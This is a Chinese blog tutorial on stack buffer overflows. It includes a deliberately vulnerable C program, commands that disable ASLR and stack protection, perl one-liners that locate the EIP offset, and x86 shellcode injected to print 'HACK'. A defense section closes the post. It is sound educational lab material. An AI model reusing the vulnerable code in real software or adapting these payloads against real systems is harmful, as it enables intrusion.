Still Shines.

浅析缓冲区溢出

Word count: 4.4k / Reading time: 16 min
2018/08/18 Share

最近一直在学习缓冲区溢出漏洞的攻击,但是关于这一块的内容还是需要很多相关知识的基础,例如编程语言及反汇编工具使用。所以研究透彻还需要不少的时间,这里简单的做一个学习的总结,通过具体的实验案例对缓冲区溢出进行简要的解析,第一篇关于缓冲区的文章,可能还有很多地方解释不到位,之后尽量补全。

汇编语言及编程语言是基础,其次是对反编译工具的使用:比如gdbIDA proobjdump等。汇编语言的学习可以看王爽编写的《汇编语言》,很适合初学者学习的一本书。(对于初学者来说,必要的知识屏蔽是很重要的,这本书就是按这个思想编写,所以看这本书的感觉就非常流畅。)

缓冲区溢出是一种常见的攻击手段,原因在于缓冲区漏洞非常普遍,并且易于实现。缓冲区溢出漏洞占了远程网络攻击的绝大多数,成为远程攻击的主要手段。在CTF比赛中这一类的题目也是非常热门(pwn题)。利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

缓冲区溢出及其原理

关于缓冲区溢出的原理网上也很多,这里用一个我觉得不错的实验示例进行讲解。

(注意:此处编译环境为CentOS 5.0 (32bit),其他版本的linux可能需要修改9、10行代码)
先来看以下这个例子:
首先用C语言编写一个程序,如下所示,保存为buffer.c文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<unistd.h>  
#include<stdlib.h>
#include<stdio.h>
#include<string.h>

void function(int a,int b,int c){
char buffer[8]; //创建一个大小为8 的缓冲区
int *ret;
ret=(int*)(buffer+16);
(*ret)+=7;
}

int main(){
int x;
x=99999;
function(1,2,3);
x=1;
printf("%d\n",x);
return 0;
}

编译源程序

如图1所示,执行#gcc buffer.c –o buffer.o命令,编译源程序。(有些高版本的linux可以加-fno-stack-protector -z execstack参数关闭保护措施 )

执行程序

如图1所示,执行./buffer.o命令,输出结果99999.通过分析主函数的流程,应该输出1,可是输出的为99999。原因在于function()函数。

原因分析

下面对buffer.o程序在内存中的分步情况及执行流程进行分析。
一个程序在内存中通常分为程序段、数据段和堆栈。
(1)程序段:存放程序的机器码和只读数据
(2)数据段:存放程序中的静态数据和全局变量
(3)堆栈:存放动态数据及局部变量
在内存中,它们的位置如图2所示:

堆栈是一块保存数据的连续内存,一个名为堆栈指针(SP)的寄存器标识出了栈顶的位置,堆栈的底部在一个固定的地址。图2简化了一下如图3所示,栈的增长是由低地址位向高地址位,而堆的增长刚好相反。

理论上说,局部变量可以用SP加偏移量来引用。堆栈由逻辑堆栈帧组成,一个函数对应一个堆栈帧。
当调用函数时,逻辑堆栈帧被压入栈中,堆栈帧包括函数的参数、返回地址、EBP(EBP是当前函数的存取指针,即存储或者读取数时的指针基地址,可以看成一个标准的函数起始代码)和局部变量(如果函数有局部变量)。程序执行结束后,局部变量的内容将会消失,但是不会被清除。
当函数返回时,逻辑堆栈帧从栈中被弹出,然后弹出EBP,恢复堆栈到调用函数时的地址,最后弹出返回地址到EIP(寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。),从而继续运行程序。
如过想多了解一些关于寄存器的知识,可以阅读这篇文章:(https://blog.csdn.net/chenlycly/article/details/37912755)
接下来,我们来看function(1,2,3)函数,调用函数的过程如图4所示:

 首先把参数压入栈:在C语言中参数的压栈顺序是反向的,是以从后往前的顺序将function的3个参数3,2,1压入栈中。
 然后保存指令寄存器(ip)中的内容作为返回地址(return2)压入栈中;第3个放入栈的是基址寄存器EBP(sfp)。
 接着把当前的栈指针(sp)复制到EBP,作为新栈帧的基地址(sfp,栈帧指针)。这里准备进入function函数。
 最后把栈指针(sp)减去适当的数值(可以理解为指针由高地址位向低地址位滑动),将局部变量(buffer和ret)压入栈中执行第9行语句ret=(int)(buffer+16);后,指针ret指向return2所指的存储单元;
 执行代码中第10行语句(
ret)+=7;后,调用函数function()后的返回地址(return2所指的存储单元)指向了第18行,第17行被隔过去了,溢出的数据覆盖了原来的返回地址,因此,该程序的输出结果是99999。
这个就是一个简单的栈溢出的情况。

缓冲区溢出攻击例子

接下来,我们将要思考一段包含了可利用缓冲区溢出的代码,并据此展示一次攻击。
 在具体地讨论缓冲区溢出攻击之前,可以先考虑一下此类攻击可能会爆发的现实场景。假设网站上web表单请用户输入数据,如姓名、年龄、出生日期等此类的相关信息。被输入的信息随后被传送到一台服务器上,而这台服务器会将“姓名”字段中输入的数据写入可以容纳N个字符的缓冲区中。如果服务器软件没有去验证可以确保输入的姓名的长度至多为N个字符的话,就可能会发生一次缓冲区溢出。如果溢出的数据是一段恶意代码,那么系统也将可能会去执行,从而受到攻击。
 这里我使用的系统是ubuntu 18.04 (64bit)。当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在的操作系统默认启用地址随机化功能,所有很难猜测到EIP注入的地址。这里就先要把实验环境配置好(这一步很重要,如果实验中出现问题,很大可能就是环境配置的关系):

  1. 关闭地址随机化功能(这里可能会遇到权限问题,可以手动修改,把里面的值改为0即可):
1
echo 0 > /proc/sys/kernel/randomize_va_space
  1. 这次测试用到的是编译出32位程序,但现在常见的都是64位系统,可以先安装gcc编译32位程序用到的库:
1
sudo apt-get install libc6-dev-i386

一、创建程序

我们先构建一段代码开始,命名为bo.c。(这里为了直接展示缓冲区漏洞攻击方法,就省掉了与网络相关的部分。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>  
#include <string.h>

int f()
{
char buf[32];
FILE *fp;
fp = fopen("test.txt", "r");

if(!fp)
{
perror("fopen");
}

fread(buf, 1024, 1, fp);
printf("data: %s\n", buf);
return 0;
}

int main(int argc, char *argv[])
{
f();

return 0;
}

简要的分析下这段代码有溢出问题的原因是:这段程序的作用是输出文件中的字符,它声明的buf数组的字符数量为32,但是拷贝了最多可达1024个字符,因此就可以把文件的字符如果超过一定的数量,就会造成溢出,并被程序执行这些溢出的字符。

二、编译程序

编译源程序,输入如下命令:

1
gcc -Wall -g -fno-stack-protector -o bo bo.c -m32 -Wl,-zexecstack


这里加了几个参数,它们的功能分别是:
-fno-stack-protector : 禁用栈溢出检测功能
-m32 : 生成32位程序
-Wl,-zexecstack : 支持栈端可执行


看解释就知道为什么加这些参数了。
编译完成之后,我们简要的说明下一步该如何利用溢出进行攻击。思路如下:
 使用的也是上一个例子的原理,buf数组溢出后,从文件读取的内容就会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径,使它运行文件中的代码。这种攻击一般也叫做返回库函数攻击。
 因此,我们需要知道从文件读取多少个字节才能开始覆盖EIP。常见的方法有两种:
 一种方法是反编译程序进行推导,另一种方法就是进行基本的手工测试。第一种方法通常需要更深入的汇编知识,且适用于不知道源码的情况。这里我们已经知道源码,已经发现了问题所在,所以就选择后者进行尝试,确定一下写个多少字节才能覆盖EIP。

三、覆盖EIP

根据源码我们创建text.txt文件并写入字符进行尝试,尝试的方法很简单,EIP前的空间使用’A’填充,而EIP使用’BBBB’填充,使用两种不同的字母是为了方便找到边界。
 目前知道buf数组大小为32个字符,可以先尝试填充32个’A’和追加’BBBB’,如果程序没有出现segment fault(段错误),则每次增加’A’字符4个,不断尝试直到程序运行出现segment fault。(我这里到48个的时候出现segment fault,32位系统大概在40左右)如果 ‘BBBB’刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,因为0x42424242(B的ascii码为0x42)是不可访问地址,所以出现segment fault,此时eip寄存器值就是0x42424242。
 这里可以手工在文件文件中输入字符,但毕竟繁琐,所以可以使用perl脚本写入(之后写入shellcode也要用到)。
所经过的尝试如下:
第一次:

1
$ perl -e 'printf "A"x32 . "B"x4' > test.txt ;

写入文件中的内容为:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
再运行程序./bo

结果:已溢出,造成输出乱码,但没有segment fault。
第二次增加4个A字符:

1
$ perl -e 'printf "A"x36 . "B"x4' > test.txt ; ./bo


之后的步骤省略,跳到出现segment fault的这一步:

1
$ perl -e 'printf "A"x48 . "B"x4' > test.txt ; ./bo


结果:产生了segment fault。


接下来就使用调试工具gdb,分析并确定此时的EIP是否为0x42424242。
1.在使用gdb前,首先输入:

1
ulimit -c unlimited

用这个命令是为了产生core文件,core就是程序运行发行段错误时的文件。
2.接着运再行一下上面的出错的那条指令

1
./bo

此时当前目录下会出现一个core文件

3.之后就是使用gdb分析程序:

1
$ gdb ./bo core –q

分析core文件,发现eip被写成’0x424242’(BBBB),可以确定注入内容中的’BBBB’对准了栈中存放EIP的位置。 找到EIP位置,我们就离成功迈进了一大步。值得注意的是:现在的系统有保护机制,所以找准eip的难度会大大增加。不过现在也有出现了更多有效的方法,感兴趣的朋友可以更深入地进行学习。


四、构造shellcode

通过之前的步骤,我们可以控制EIP之后,下一步操作就是往栈里面注入二进指令,然后修改EIP执行这段代码。那么当函数执行完后,就会执行我们的指令啦。
通常我们将注入的这段指令称为shellcode,解释为这段指令是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。
这里我们不需要写一段复杂的shellcode去打开shell。为了能证明成功控制程序,我们可以使它在终端上输出”HACK”字符串,然后程序退出。 简便起见, 我们构造的shellcode就相当于下面两句C语言的效果:

1
2
write(1, "HACK\n", 5);
exit(0);

因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。 下面就是32位x86的汇编代码shell.s:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BITS 32  
start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

mov bl, 1
add esp, string - start
mov ecx, esp
mov dl, 5
mov al, 4
int 0x80

mov al, 1
mov bl, 1
dec bl
int 0x80

string:
db "HACK", 0xa

再编译程序:

nasm -o shell shell.s

之后反编译:

ndisasm shell1

得到如下结果:

 现在我们找到了EIP的位置,也有了我们要执行的shellcode,但这个EIP应该修改为什么值,才能在函数返回时执行注入的shellcode呢?
 我们可以这样想,从栈的基本模型上看(下图),当函数返回,弹出EBP(栈基址),恢复堆栈到调用函数时的地址,再弹出返回地址到EIP,ESP寄存器的值(栈指针)向上移动,指向我们的shellcode。因此,我们使用上面的注入内容生成core时,ESP寄存器的值就是shellcode的开始地址,也就是EIP应该注入的值。

五、注入shellcode

我们知道要成功执行shellcode就要使EIP的值为shellcode开始的地址。那如何找到shellcode开始的地址呢?我们先尝试着把构造好的shellcode文本给程序执行,使它生成新的core。(这里要先删掉之前的core文件)

1
$ perl -e 'printf "A"x48 . "B"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' > test.txt ;./bo

再执行gdb ./bo core –q

上面我们知道,ESP的值就是shellcode开始的地址,ESP现在值为0xffffcf70,所有EIP注入值就是该值,(这一步一定要关闭地址随机化功能)。由于X86是小端的字节序,所以注入字节串需要改为”\x70\xcf\xff\xff”
然后将EIP原来的注入值’BBBB’变成”\x70\xcf\xff\xff”,使eip指向的地址为shellcode开始运行的地址即可。再次测试:

1
$ perl -e 'printf "A"x48 . "\x70\xcf\xff\xff" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"'> test.txt ;./bo


结果:程序输出HACK字符串了,说明我们成功控制了EIP,并执行了shellcode。
如果这段shellcode构造的再复杂一些,我们就能做更多的事。(坏笑~)
 这也是算是最简单的缓冲区溢出漏洞攻击的例子了,所讲的技术也有点过时,对于现在的系统来讲,已经不大可能管用了。但不管怎么样,对于初步的学习还是很助于理解的。一切的学习可以从这个简单的例子出发,一步步的进行更深入下去。然后在其中发现更多的精彩。

缓冲区溢出攻击的防范

了解攻击原理是为了能更好的进行防御,最后简要的说明一下如何防范这类攻击的发生。
(1)关闭不需要的特权程序。
(2)及时给系统和服务程序漏洞打补丁。
(3)强制写正确的代码。
(4)通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。
(5)利用编译器的边界检查来实现缓冲区的保护,这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是代价比较大。
(6)在程序指针失效前进行完整性检查。
(7)改进系统内部安全机制。


参考文章https://blog.csdn.net/linyt/article/details/43283331
发表链接https://segmentfault.com/a/1190000015993766

CATALOG
  1. 1. 缓冲区溢出及其原理
    1. 1.1. 编译源程序
    2. 1.2. 执行程序
    3. 1.3. 原因分析
  2. 2. 缓冲区溢出攻击例子
    1. 2.1. 一、创建程序
    2. 2.2. 二、编译程序
    3. 2.3. 三、覆盖EIP
    4. 2.4. 四、构造shellcode
    5. 2.5. 五、注入shellcode
  3. 3. 缓冲区溢出攻击的防范